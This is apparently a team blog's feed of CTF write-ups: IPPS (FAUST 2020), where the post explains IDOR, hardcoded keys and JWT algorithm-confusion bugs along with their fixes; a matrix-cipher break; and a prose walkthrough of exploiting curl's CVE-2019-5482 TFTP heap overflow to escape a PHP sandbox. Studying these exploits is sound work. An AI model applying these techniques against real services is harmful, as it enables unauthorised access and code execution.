</code></pre></div></div>]]></content><author><name>[&quot;wgh&quot;]</name></author><category term="write-up" /><summary type="html"><![CDATA[Lonely Island was one of the tasks on FAUST CTF 2021. This task was a multiplayer FPS game based on Godot engine. This is something you don’t see on CTFs often, let alone on attack-defense ones. One notable example I can think of is Pwn Adventure on Ghost in the Shellcode CTF many years ago. Although Pwn Adventure was considerably more complex, it was a jeopardy competition, and yet Lonely Island appeared on an attack-defense CTF.]]></summary></entry><entry><title type="html">IPPS write-up (FAUST CTF 2020)</title><link href="http://0.0.0.0:4000/ipps-writeup-faust-ctf-2020/" rel="alternate" type="text/html" title="IPPS write-up (FAUST CTF 2020)" /><published>2020-07-19T20:01:22+03:00</published><updated>2020-07-19T20:01:22+03:00</updated><id>http://0.0.0.0:4000/ipps-writeup-faust-ctf-2020</id><content type="html" xml:base="http://0.0.0.0:4000/ipps-writeup-faust-ctf-2020/"><![CDATA[<p>We’ve recently participated in Faust 2020 as part of MoreBushSmokedWhackers team and took the first place. We were first to solve the IPPS service (which was also the first blood of the game as a whole). This blog post covers the service itself, the vulnerabilities and the exploitation details.</p>

<h1 id="service-description">Service description</h1>

<p>The legend of the service is parcel status tracking, like UPS or something. The service provides the following functionality:</p>
<ul>
  <li>User registration/login</li>
  <li>Storing of user settings, which are “delivery address” and “credit card number” (the latter contains the flag)</li>
  <li>Posting publicly accessible feedback reviews</li>
  <li>Parcel tracking itself</li>
</ul>

<p>The scoreboard bot registers a user, logins using these credentials, stores a flag into the credit card number field, and posts a feedback review. As the feedback is publicly accessible, the latter action provides a way to get usernames of scoreboard users, which would not be possible otherwise.</p>

<p>The parcel tracking feature, somewhat counterintuitively, does not contain any bugs and does not have any uses (at least none we’re aware of).</p>

<p>IPPS is written in Go. The sources were provided by the organizers, which makes it a real pleasure to solve the challenge.</p>

<h1 id="service-apis">Service APIs</h1>

<p>There are 3 different ways to communicate with the service.</p>

<ol>
  <li>
    <p>Web interface</p>

    <p>The first way to communicate with the service is its web interface. It is a classical web application which provides access to all features of the service.</p>

    <p>The web interface uses a session cookie mechanism to store information about current user (e.g. has the user logged in, and her username in case she has).</p>
  </li>
  <li>
    <p>JSON API</p>

    <p>The service provides a set of REST endpoints. These endpoints allow logging in and requesting credit card information for a user. This part supposed to have the same authorization mechanism as the web interface, see more in the description of bug #1.</p>
  </li>
  <li>
    <p>GRPC service</p>

    <p>IPPS also has GRPC service running on a separate port. It provides a way to retrieve a user’s credit card information as well.</p>

    <p>GRPC uses an authorization mechanism that is different from the one used by other APIs. A user can request a JWT for a username/password pair, and then use it to retrieve credit card info. The token is signed using an RSA key pair, and the public key is also available via another GRPC endpoint.</p>
  </li>
</ol>

<h1 id="vulnerabilities">Vulnerabilities</h1>

<p>The service contained a set of four different vulnerabilities, which are covered below.</p>

<p>Each vulnerability provides a way to get the credit card number of a user without knowing her password.</p>

<h2 id="retrieving-user-names">Retrieving user names</h2>

<p>The service does not provide a way to list all users. However, scoreboard users post a publicly accessible feedback review. To exploit either of the vulnerabilities, teams must scrap the feedback page and extract user names.</p>

<h2 id="bug-1-idor-in-the-json-api">Bug #1: IDOR in the JSON API</h2>

<p>First and the simplest bug is that JSON API does not perform any access checks before giving out users’ information. The endpoint <code class="language-plaintext highlighter-rouge">/api/user/&lt;username&gt;</code> prints user credit card no matter user authorized or not. The exploitation is pretty trivial.</p>

<p>To mitigate the vulnerability, a team should enable <code class="language-plaintext highlighter-rouge">loginChecker</code> middleware for the JSON APIs. It is already implemented in a separate file, but never used in the original source.</p>

<h2 id="bugs-2-and-3-hardcoded-keys">Bugs #2 and #3: hardcoded keys</h2>

<p>The service has two values that are supposed to be kept in secret: the session cookie signing key, and the private part of the JWT signing key pair.</p>

<p>Both values were hardcoded in the original service distribution, which meant that other teams’ installations use the same secrets. It allowed session cookie forgery, as well as JWT forgery for the GRPC interface. The exploitation of the vulnerability is easy if you write the exploit in Go because you can reuse the code from the challenge to make up both values.</p>

<p>To mitigate these vulnerabilities a team should regenerate JWT signing RSA key pair and change session cookie secret to any random value.</p>

<h2 id="bug-4-invalid-jwt-validation-in-the-grpc-service">Bug #4: Invalid JWT validation in the GRPC service</h2>

<p>The last vulnerability was also the hardest to spot. It is present in the JWT verification code in the GRPC service.</p>

<p>As mentioned below, the GRPC part of the service has a unique authorization mechanism. First, a user requests a JWT by providing credentials. The server validates the credentials, and, if they are correct, generates and signs a token that contains username information. Second, the user sends this token to retrieve her credit card number.</p>

<p>The token is signed using an RSA key pair, which corresponds to the <code class="language-plaintext highlighter-rouge">RS256</code> JWT algorithm. A well-known attack on JWT authorization is to change the algorithm to “none” or invalid value in hopes that signature verification will be skipped entirely.</p>

<p>This service does not allow “none” algorithm; however, it supports “HS256” algorithm, which is based on symmetrical cryptography — the signing key is the same as the verification key.</p>

<p>The bug resides in this HS256 support. After carefully reading the source code, it can be noted that the <code class="language-plaintext highlighter-rouge">key</code> argument of the JWT verification function is always the public part of the RSA key pair. It is correct for the <code class="language-plaintext highlighter-rouge">RS256</code> algorithm but makes no sense for <code class="language-plaintext highlighter-rouge">HS256</code> variant: the public part is, well, public, and anyone knowing <code class="language-plaintext highlighter-rouge">HS256</code> validation key can forge the token.</p>

<p>To exploit the vulnerability, an attacker can retrieve RSA public key via GRPC (the service provides such endpoint) and then use it to sign a forged JWT via HS256 algorithm. It can be done using any JWT library, but we used the same code the challenge uses to be sure everything will go smoothly.</p>

<p>In order to mitigate this one, teams could disable HS256 algorithm altogether. The login process via JWT does not provide a way to generate HS256 signed token, so there’s no way for such a token to be legit.</p>

<h1 id="final-notes">Final notes</h1>

<p>While the vulnerabilities were not very hard to find and exploit, it was enjoyable and entertaining to solve this challenge. The FAUST team does a great job organizing the CTF for the fifth time, and we’re looking forward to winning it again next year.</p>]]></content><author><name>[&quot;emil&quot;]</name></author><summary type="html"><![CDATA[We’ve recently participated in Faust 2020 as part of MoreBushSmokedWhackers team and took the first place. We were first to solve the IPPS service (which was also the first blood of the game as a whole). This blog post covers the service itself, the vulnerabilities and the exploitation details.]]></summary></entry><entry><title type="html">M-Poly-Cipher write-up (Tokyo Westerns CTF 2019)</title><link href="http://0.0.0.0:4000/m-poly-cipher-tokyo-westerns-ctf-2019/" rel="alternate" type="text/html" title="M-Poly-Cipher write-up (Tokyo Westerns CTF 2019)" /><published>2019-09-22T23:45:00+03:00</published><updated>2019-09-22T23:45:00+03:00</updated><id>http://0.0.0.0:4000/m-poly-cipher-tokyo-westerns-ctf-2019</id><content type="html" xml:base="http://0.0.0.0:4000/m-poly-cipher-tokyo-westerns-ctf-2019/"><![CDATA[<p>We are given a binary implementing some cryptographic scheme, a public key, and an encrypted flag. After some reverse engineering in IDA, we could restore the scheme, which can be described as follows:</p>

<ul>
  <li>
    <p>First of all, we operate in the field $\mathbb{Z}_p$, where $p = 2^{32} - 5$.</p>
  </li>
  <li>Key generation:
    <ol>
      <li>Generate random matrices $X_0 \in \mathbb{Z}_p^{8\times8},\,A^\prime, B^\prime \in \mathbb{Z}_p^{4\times8}$.</li>
      <li>Obtain $A, B \in \mathbb{Z}_p^{8\times8}$ as rows of $A^\prime, B^\prime$ plus some their linear combinations.</li>
      <li>Obtain $C = -(A X_0^2 + B X_0)$.</li>
      <li>Finally, $X_0$ becomes a private key, and $\langle A, B, C\rangle$ becomes a public key.</li>
    </ol>
  </li>
  <li>Encryption:
    <ol>
      <li>Encode the plaintext message as $M \in \mathbb{Z}_p^{8\times8}$.</li>
      <li>Generate a random matrix $R \in \mathbb{Z}_p^{8\times8}$.</li>
      <li>Obtain $A_e = R A,\, B_e = R B,\, C_e = R C + M$.</li>
      <li>$\langle A_e, B_e, C_e\rangle$ becomes an encrypted message.</li>
    </ol>
  </li>
  <li>Decryption:
    <ol>
      <li>Obtain $M = A_e X_0^2 + B_e X_0 + C_e$.</li>
      <li>Decode $M$ as a plaintext message.</li>
    </ol>
  </li>
</ul>

<p>The key idea of this cryptographic scheme is to consider a quadratic matrix equation</p>

\[AX^2 + BX + C = 0.\]

<p>The decryption procedure works because we can cancel out the random $R$ using the property that the private $X_0$ satisfies this quadratic equation by construction of $C$:</p>

\[\begin{aligned}
A_e X_0^2 + B_e X_0 + C_e &amp;= \left(R A\right) X_0^2 + \left(R B\right) X_0 + \left(R C + M\right) \\
                          &amp;= R \cdot \left(A X_0^2 + B X_0 + C\right) + M \\
                          &amp;= R \cdot 0 + M \\
                          &amp;= M.
\end{aligned}\]

<p>The matrices $A, B$ are generated the way that almost surely $\operatorname{rank} A = \operatorname{rank} B = 4$, so $A$ is not invertible, which prevents us from completing the square and scaling through by $A^{-1}$ to solve the quadratic equation effectively.</p>

<p>However, we can actually cancel out the $R$ with <em>another</em> equation which we can solve effectively, for example, the linear one:</p>

\[\left(A + B\right) Y + C = 0.\]

<p>Since $\left(A + B\right)$ is invertible, $Y_0 = -\left(A + B\right)^{-1} C$ is obviously the solution of this linear equation, hence</p>

\[\begin{aligned}
\left(A_e + B_e\right) Y_0 + C_e &amp;= \left(R A + R B\right) Y_0 + \left(R C + M\right) \\
                                 &amp;= R \cdot \left(\left(A + B\right) Y_0 + C\right) + M \\
                                 &amp;= R \cdot 0 + M \\
                                 &amp;= M.
\end{aligned}\]

<p>Another way to look at this trick is to notice that</p>

\[\begin{aligned}
R &amp;= R \cdot I \\
  &amp;= R \cdot (A + B)(A + B)^{-1} \\
  &amp;= (RA + RB)(A + B)^{-1} \\
  &amp;= (A_e + B_e)(A + B)^{-1},\\
M &amp;= C_e - RC \\
  &amp;= C_e - (A_e + B_e)(A + B)^{-1}C.
\end{aligned}\]

<p>Anyway, we can decrypt the flag using only the public key $\langle A, B, C\rangle$ and the encrypted message $\langle A_e, B_e, C_e\rangle$:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>TWCTF{pa+h_t0_tomorr0w}
</code></pre></div></div>

<script type="text/javascript" async="" src="//cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.0/MathJax.js?config=TeX-MML-AM_CHTML">
MathJax.Hub.Config({
    tex2jax: {
        inlineMath: [["$", "$"]],
        processEscapes: true,
    },
});
</script>]]></content><author><name>[&quot;inviz&quot;]</name></author><category term="crypto" /><summary type="html"><![CDATA[We are given a binary implementing some cryptographic scheme, a public key, and an encrypted flag. After some reverse engineering in IDA, we could restore the scheme, which can be described as follows:]]></summary></entry><entry><title type="html">Pwning Master of PHP like it’s Real Real World CTF</title><link href="http://0.0.0.0:4000/pwning-master-of-php-like-its-real-real-world-ctf/" rel="alternate" type="text/html" title="Pwning Master of PHP like it’s Real Real World CTF" /><published>2019-09-18T10:24:34+03:00</published><updated>2019-09-18T10:24:34+03:00</updated><id>http://0.0.0.0:4000/pwning-master-of-php-like-its-real-real-world-ctf</id><content type="html" xml:base="http://0.0.0.0:4000/pwning-master-of-php-like-its-real-real-world-ctf/"><![CDATA[<p>In our previous blog post, my teammate Emil has already <a href="https://blog.bushwhackers.ru/master-of-php-real-world-ctf-2019/">published a solution</a> for Master of PHP, however, I still want to share another way of solving this challenge, because I think it is quite interesting as well, and it doesn’t require usage of bug that was implanted into no_realworld_php. Instead, in this post we will use recently discovered curl 1-day to achieve stable code execution on the remote host.</p>

<h2 id="introduction">Introduction</h2>

<p>Okay, let’s do this one last time… The challenge implements a certain type of jail, where we are allowed to execute PHP code, but the execution of some functions is restricted by <code class="language-plaintext highlighter-rouge">disable_functions</code>, so you can’t get code execution straight ahead. Also, you can’t directly open any file on the system due to <code class="language-plaintext highlighter-rouge">open_basedir</code> being set to <code class="language-plaintext highlighter-rouge">/tmp:/var/www/html</code>. To get flag you have to get a stable code execution on the server and execute <code class="language-plaintext highlighter-rouge">/readflag</code> suid binary.</p>

<p>By looking into <code class="language-plaintext highlighter-rouge">phpinfo()</code> and Dockerfile we can see that our version of PHP was built with support of different libraries, but in particular, I was attracted by libcurl. Since I am subscribed to amazing <a href="https://www.openwall.com/lists/oss-security/">oss-security</a> mailing list, I noticed <a href="https://curl.haxx.se/docs/CVE-2019-5482.html">curl advisory</a> about heap buffer overflow vulnerability in TFTP protocol published couple of days ago. As we can see from <code class="language-plaintext highlighter-rouge">phpinfo();</code> our built-in version of curl supports TFTP protocol as well.</p>

<h2 id="review-of-cve-2019-5482">Review of CVE-2019-5482</h2>

<p>Curl has pretty good security advisories, which provide us with useful information about the type of the bug, how to trigger it, when the bug was introduced and how it was patched. To debug this vulnerability I cloned curl source code from GitHub repo and did <code class="language-plaintext highlighter-rouge">git reset --hard</code> to some commit, so that version in <code class="language-plaintext highlighter-rouge">phpinfo()</code> and version in cloned repo would match. That way it was possible to compile curl with gdb symbols to LD_PRELOAD it later into apache process, so it would be so much easier to debug the process. After all, I realize that this was a terrible mistake and I describe it in more details in <em>Mistakes were made</em> chapter, as well as more correct way of the getting source code of curl to solve this challenge.</p>

<p>After going into the source code of TFTP protocol we can see that <code class="language-plaintext highlighter-rouge">tftp_connect</code> function allocates send buffer, receive buffer and <code class="language-plaintext highlighter-rouge">tftp_state_data_t</code> structure. From <code class="language-plaintext highlighter-rouge">lib/tftp.c</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">CURLcode</span> <span class="nf">tftp_connect</span><span class="p">(</span><span class="k">struct</span> <span class="n">connectdata</span> <span class="o">*</span><span class="n">conn</span><span class="p">,</span> <span class="n">bool</span> <span class="o">*</span><span class="n">done</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">tftp_state_data_t</span> <span class="o">*</span><span class="n">state</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">blksize</span><span class="p">;</span>

  <span class="n">blksize</span> <span class="o">=</span> <span class="n">TFTP_BLKSIZE_DEFAULT</span><span class="p">;</span>

  <span class="n">state</span> <span class="o">=</span> <span class="n">conn</span><span class="o">-&gt;</span><span class="n">proto</span><span class="p">.</span><span class="n">tftpc</span> <span class="o">=</span> <span class="n">calloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">tftp_state_data_t</span><span class="p">));</span>
  <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">state</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">CURLE_OUT_OF_MEMORY</span><span class="p">;</span>
    
  <span class="k">if</span><span class="p">(</span><span class="n">conn</span><span class="o">-&gt;</span><span class="n">data</span><span class="o">-&gt;</span><span class="n">set</span><span class="p">.</span><span class="n">tftp_blksize</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">blksize</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">conn</span><span class="o">-&gt;</span><span class="n">data</span><span class="o">-&gt;</span><span class="n">set</span><span class="p">.</span><span class="n">tftp_blksize</span><span class="p">;</span>
    <span class="k">if</span><span class="p">(</span><span class="n">blksize</span> <span class="o">&gt;</span> <span class="n">TFTP_BLKSIZE_MAX</span> <span class="o">||</span> <span class="n">blksize</span> <span class="o">&lt;</span> <span class="n">TFTP_BLKSIZE_MIN</span><span class="p">)</span>
      <span class="k">return</span> <span class="n">CURLE_TFTP_ILLEGAL</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">state</span><span class="o">-&gt;</span><span class="n">rpacket</span><span class="p">.</span><span class="n">data</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">state</span><span class="o">-&gt;</span><span class="n">rpacket</span><span class="p">.</span><span class="n">data</span> <span class="o">=</span> <span class="n">calloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">blksize</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">+</span> <span class="mi">2</span><span class="p">);</span>

    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">state</span><span class="o">-&gt;</span><span class="n">rpacket</span><span class="p">.</span><span class="n">data</span><span class="p">)</span>
      <span class="k">return</span> <span class="n">CURLE_OUT_OF_MEMORY</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">state</span><span class="o">-&gt;</span><span class="n">spacket</span><span class="p">.</span><span class="n">data</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">state</span><span class="o">-&gt;</span><span class="n">spacket</span><span class="p">.</span><span class="n">data</span> <span class="o">=</span> <span class="n">calloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">blksize</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">+</span> <span class="mi">2</span><span class="p">);</span>

    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">state</span><span class="o">-&gt;</span><span class="n">spacket</span><span class="p">.</span><span class="n">data</span><span class="p">)</span>
      <span class="k">return</span> <span class="n">CURLE_OUT_OF_MEMORY</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="c1">// . . .</span>
</code></pre></div></div>

<p>From this piece of code we know that each buffer has default size, but if <code class="language-plaintext highlighter-rouge">conn-&gt;data-&gt;set.tftp_blksize</code> is set to non-zero and it passes some checks against nonsense values, then it becomes our blocksize. By grepping the code, we know that variable <code class="language-plaintext highlighter-rouge">tftp_blksize</code> is being set in <code class="language-plaintext highlighter-rouge">lib/setopt.c</code>. PHP curl API implements a rather limited version of real libcurl API, but this piece of code is within our reach. We can use <code class="language-plaintext highlighter-rouge">curl_setopt</code> PHP function to set blocksize for our TFTP connection before actually connecting to anything.</p>

<p>As advisory mentions, vulnerability is contained in the OACK processing. OACK stands for “option acknowledgement” as we can tell by taking a brief look into rfc2348. This functionality allows server to specify options it wants to use during the connection, and one of those options is blocksize. Client is required to agree upon options provided by server or reply with an error packet.
After recieving each packet <code class="language-plaintext highlighter-rouge">tftp_receive_packet</code> routine parses first two bytes that indicate opcode of the corresponding handler. The following code of the function, which parses OACK packet, contains some changes to keep snippet small and readable:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">CURLcode</span> <span class="nf">tftp_parse_option_ack</span><span class="p">(</span><span class="n">tftp_state_data_t</span> <span class="o">*</span><span class="n">state</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">ptr</span><span class="p">,</span> <span class="kt">int</span> <span class="n">len</span><span class="p">)</span>
<span class="p">{</span>
  <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">tmp</span> <span class="o">=</span> <span class="n">ptr</span><span class="p">;</span>
  <span class="k">struct</span> <span class="n">Curl_easy</span> <span class="o">*</span><span class="n">data</span> <span class="o">=</span> <span class="n">state</span><span class="o">-&gt;</span><span class="n">conn</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">;</span>

  <span class="n">state</span><span class="o">-&gt;</span><span class="n">blksize</span> <span class="o">=</span> <span class="n">TFTP_BLKSIZE_DEFAULT</span><span class="p">;</span>

  <span class="k">while</span><span class="p">(</span><span class="n">tmp</span> <span class="o">&lt;</span> <span class="n">ptr</span> <span class="o">+</span> <span class="n">len</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">option</span><span class="p">,</span> <span class="o">*</span><span class="n">value</span><span class="p">;</span>

    <span class="n">tmp</span> <span class="o">=</span> <span class="n">tftp_option_get</span><span class="p">(</span><span class="n">tmp</span><span class="p">,</span> <span class="n">ptr</span> <span class="o">+</span> <span class="n">len</span> <span class="o">-</span> <span class="n">tmp</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">option</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">value</span><span class="p">);</span>
    <span class="k">if</span><span class="p">(</span><span class="n">tmp</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">failf</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="s">"Malformed ACK packet, rejecting"</span><span class="p">);</span>
      <span class="k">return</span> <span class="n">CURLE_TFTP_ILLEGAL</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">if</span><span class="p">(</span><span class="n">checkprefix</span><span class="p">(</span><span class="n">option</span><span class="p">,</span> <span class="n">TFTP_OPTION_BLKSIZE</span><span class="p">))</span> <span class="p">{</span>
      <span class="kt">long</span> <span class="n">blksize</span><span class="p">;</span>
      <span class="n">blksize</span> <span class="o">=</span> <span class="n">strtol</span><span class="p">(</span><span class="n">value</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span>
      <span class="c1">// . . .</span>
      <span class="c1">// skipping out size checks of blksize</span>
      <span class="c1">// . . .</span>

      <span class="n">state</span><span class="o">-&gt;</span><span class="n">blksize</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">blksize</span><span class="p">;</span>
    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">checkprefix</span><span class="p">(</span><span class="n">option</span><span class="p">,</span> <span class="n">TFTP_OPTION_TSIZE</span><span class="p">))</span> <span class="p">{</span>
      <span class="c1">// . . .</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">CURLE_OK</span><span class="p">;</span>
</code></pre></div></div>

<p>As you can see, in the first few lines <code class="language-plaintext highlighter-rouge">state-&gt;blksize</code> is being assign to default <code class="language-plaintext highlighter-rouge">TFTP_BLKSIZE_DEFAULT</code> value, which is equal to 512 bytes. Next, while loop parses all null terminated ascii key-value strings from inside the packet and checks if it matches certain string. But if key prefix doesn’t match any hardcoded value, then parser just ignores it. It is easy to see that if OACK packet doesn’t contain blocksize option, then <code class="language-plaintext highlighter-rouge">state-&gt;blocksize</code> would remain equal to <code class="language-plaintext highlighter-rouge">TFTP_BLKSIZE_DEFAULT</code>.
Vulnerability becomes pretty obvious if you remember that <code class="language-plaintext highlighter-rouge">state-&gt;blksize</code> is used as length of the packet, which is received by <code class="language-plaintext highlighter-rouge">recvfrom</code> function in <code class="language-plaintext highlighter-rouge">tftp_receive_packet</code>, and the receiving buffer wasn’t reallocated at any point.</p>

<p>So, to trigger this vulnerability we would need to:</p>
<ol>
  <li>Create our own TFTP server.</li>
  <li>Create curl handle in PHP by using <code class="language-plaintext highlighter-rouge">curl_init</code> and set <code class="language-plaintext highlighter-rouge">CURLOPT_TFTP_BLKSIZE</code> to value less than <code class="language-plaintext highlighter-rouge">TFTP_BLKSIZE_DEFAULT</code>.</li>
  <li>Connect to our TFTP server from PHP code by using curl.</li>
  <li>Send OACK packet without blocksize option from server.</li>
  <li>Send next packet from server that would overflow receive buffer.</li>
</ol>

<h2 id="exploitation">Exploitation</h2>

<p>After happiness of the triggered bug subsides, it is time to realize all challenges of exploitation that we have here.</p>

<p>First of all, PHP and apache2 use different allocation algorithms, apart from curl, which uses default glibc malloc. So it wouldn’t be possible to change our glibc heap layout by allocating and freeing PHP objects.</p>

<p>There are not too many ways to manipulate heap during TFTP connection, because the only three allocations that are explicitly made here are the allocations of receive buffer, send buffer and state structure. Moreover, state structure is allocated <strong>before</strong> the receive buffer, so if allocations would arrange one after another, then the only thing that we can overflow is send buffer and something next to it.</p>

<p>If you attach debugger to the apache and try to reproduce the bug the same way as it was described in the previous chapter, you would see that during execution of <code class="language-plaintext highlighter-rouge">tftp_connect</code> there are no good places to fit our receive buffer heap chunk, since almost none of the chunks on the heap are free at this moment. As a result, allocations in <code class="language-plaintext highlighter-rouge">ftp_connect</code> would happen in the same order as they are in the code and the best thing that we can achieve is to overflow heap top chunk a.k.a wilderness. It opens up an opportunity for “house of force” exploitation, but this technique requires full control over size argument of <code class="language-plaintext highlighter-rouge">malloc</code>. This is not an option, because curl is rather good piece of software, and it is designed not to allow allocations of arbitrary sizes. Even it would allow such behavior, then it could be treated as a real “bug”, which probably corresponds to a “CWE-400: Uncontrolled Resource Consumption”.</p>

<p>The the last problem on the list is that we would probably require a memory leak during the process of exploitation. Considering that my amazing teammates have already shared with me a technique on how bypass <code class="language-plaintext highlighter-rouge">open_basedir</code>, we are able to read any file on the system, including <code class="language-plaintext highlighter-rouge">/proc/self/maps</code>, so <code class="language-plaintext highlighter-rouge">open_basedir</code> isn’t too much of a problem.</p>

<p>The main goal at this point is either to achieve arbitrary write by allocating state structure, right after our receive buffer, or we can overwrite some function pointer on the heap to achieve code execution. The second way works just fine.</p>

<p>Exploring code paths during connection termination would give us an answer to where do we find function pointers on the heap. In common scenario curl stores structures containing connection information in hash table. Each hash entry stores several pointers to a function that calculated the hash, a function to compare hashes and a pointer to destructor of a hash entry. Overwriting these hash entries may give us a pretty straight forward code execution, if we would manage to achieve good heap layout by using memory manipulation primitives correctly. Several hash entries are contained within <code class="language-plaintext highlighter-rouge">struct Curl_multi</code> structure, which is one of the main data structures to hold information about our connection. It is one of the first structures to be allocated after <code class="language-plaintext highlighter-rouge">curl_exec</code> has been called, so it will serve very well for our dark deeds.</p>

<p>The problem of achieving correct heap layout remains. In order to solve it, we can use other functions from PHP libcurl API that allow us to allocate and free objects on the same heap. Example of such function could be <code class="language-plaintext highlighter-rouge">curl_setopt</code>, which I end up using in the exploit.</p>

<p>First thing that you may notice in the code is an <a href="https://github.com/curl/curl/blob/03ae81097ebfbdd274910da98caef172c5856af7/lib/setopt.c#L1889">obvious allocation</a> of buffer that can be allocated  and reallocate of hold our buffer. Unfortunately, this primitive has really strong size limits. That means we won’t be able to manipulate smaller chunks, which is necessary, if we want to find our receive buffer a good place. Still, it can be used to either fill or create holes on the heap.</p>

<p>Another primitive that we would use is much harder to notice and requires diving deeper into the code. After browsing lots of option handlers I realized that <code class="language-plaintext highlighter-rouge">CURLOPT_COOKIELIST</code> is perfect for our goals. As mentioned above we would try to overwrite some function pointers, that are contained in <code class="language-plaintext highlighter-rouge">struct Curl_multi</code>. This structure has size of 0x1e0, so we would need to allocate receive buffer very close to it in order to overwrite the pointer.</p>

<p>Option CURLOPT_COOKIELIST requires cookie to be in a single line in Mozilla/Netscape or HTTP-style header and it will not accept malformed cookies. As we are able see from the <a href="https://github.com/curl/curl/blob/03ae81097ebfbdd274910da98caef172c5856af7/lib/setopt.c#L733">code</a> of the handler, several allocation are created there. First allocation <code class="language-plaintext highlighter-rouge">malloc(strlen(arg))</code> is made (line 765) during call to <code class="language-plaintext highlighter-rouge">strdup</code> function, and it is free()-d at the end of the handler (line 782). There are several unimportant allocations made <code class="language-plaintext highlighter-rouge">Curl_cookie_init</code> <a href="https://github.com/curl/curl/blob/03ae81097ebfbdd274910da98caef172c5856af7/lib/cookie.c#L974">function</a>, but call to <code class="language-plaintext highlighter-rouge">Curl_cookie_add</code> (setopt.c:779) is very crucial for us. First things first, <a href="https://github.com/curl/curl/blob/03ae81097ebfbdd274910da98caef172c5856af7/lib/cookie.c#L364">it allocates</a> a <code class="language-plaintext highlighter-rouge">struct Cookie</code> by calling to calloc(), which has size of 0x60 bytes! If the supplied cookie is malformed, then function <a href="https://github.com/curl/curl/blob/03ae81097ebfbdd274910da98caef172c5856af7/lib/cookie.c#L805">would free</a> cookie structure and all its fields that were already parsed by this point. If none of the fields were successfully parsed, then it would just free our <code class="language-plaintext highlighter-rouge">struct Cookie</code> and return to the option handler, where is would free our  strdup()-ed cookie string! If string supplied to this option would have length of 0x1e0, then we would be able to make two allocations of required sizes adjacent to each other and overflow the<code class="language-plaintext highlighter-rouge">struct Curl_multi</code> by allocating receive buffer of size 0x60. We will have to execute this primitive a couple of time, since most of our structures are allocated by using <code class="language-plaintext highlighter-rouge">calloc</code>, which doesn’t use tcache for some reason.</p>

<p>So this it. The last step we need is to leak <code class="language-plaintext highlighter-rouge">/proc/self/maps</code> and nail down our curl exploit in one script, since the second time our script gets executed, we may end up in a different apache worker, which would have a different memory layout. I implemented it by sending <code class="language-plaintext highlighter-rouge">/proc/self/maps</code> from PHP script by using TCP connection to my Python server, which was already handling TFTP connection on another port.</p>

<h2 id="mistakes-were-made">Mistakes were made</h2>

<p>In this chapter I want to share the lesson I learned while solving this challenge.</p>

<p>As I have already pointed out, my attempt to clone curl from GitHub and try to match the version was a complete failure. Although, Ubuntu packages have a reputation of, let’s say, “unfresh”, it seems that maintainers are trying to care about the security of popular pieces of software. After critical vulnerability has been reported to curl, they share the patch with package maintainers. Even if in some distro an older version of libcurl is being maintained, security patch will be backported to it. On the day, when curl advisory goes public, maintainers publish security updated packages. Moreover, it seems that after security patch comes out, vulnerable binary packages are permanently deleted from the repository, so you don’t shoot yourself in a leg. Since docker image is based on Ubuntu 18.04 you can find <a href="https://usn.ubuntu.com/4129-1/">Ubuntu Security Notice</a>, which mentions the CVE, that we are trying to exploit. It also contains a link to a <a href="https://launchpad.net/ubuntu/+source/curl/7.58.0-2ubuntu3.8">source package</a> with patch description and a full version number: “7.58.0-2ubuntu3.8”. This version number consists of two parts. The first one: “7.58.0”, which is the version of curl. And second one: “2ubuntu3.8” the version of Ubuntu source package with backported fixes.</p>

<p>After I finished testing 90% ready-to-pwn exploit with local LD_PRELOAD-ed library with symbols, I finally decided to test it with real libcurl that was installed into my docker container, when it was built. And what do you know… <strong>It didn’t work…</strong> It is needless to describe my frustration, when I realized that Ubuntu package was updated the same day advisory was published in oss-security. Luckily, Emil has solved this challenge and saved the day.</p>

<p>After solving the challenge we ran <code class="language-plaintext highlighter-rouge">dpkg -l | grep curl</code> on the remote machine just for fun and guess what. The server was using unpatched version “ubuntu3.7”. This is an really epic fail, which resulted into a time loss of me and my teammate. I was able to read any file on the remote system, and I could have checked whether my exploit works with the remote library by LD_PRELOAD-ing it. After realizing that fact it was a matter of minutes to modify and finalize the exploit, but still…</p>

<p>This version mismatch probably happened, because challenge was already deployed on the server a week ago. So outdated container image is showing us a good level of preparations by the organizers.</p>

<p>Lesson learned. CTF RULE #37: Think less. Check everything you can at any point.</p>

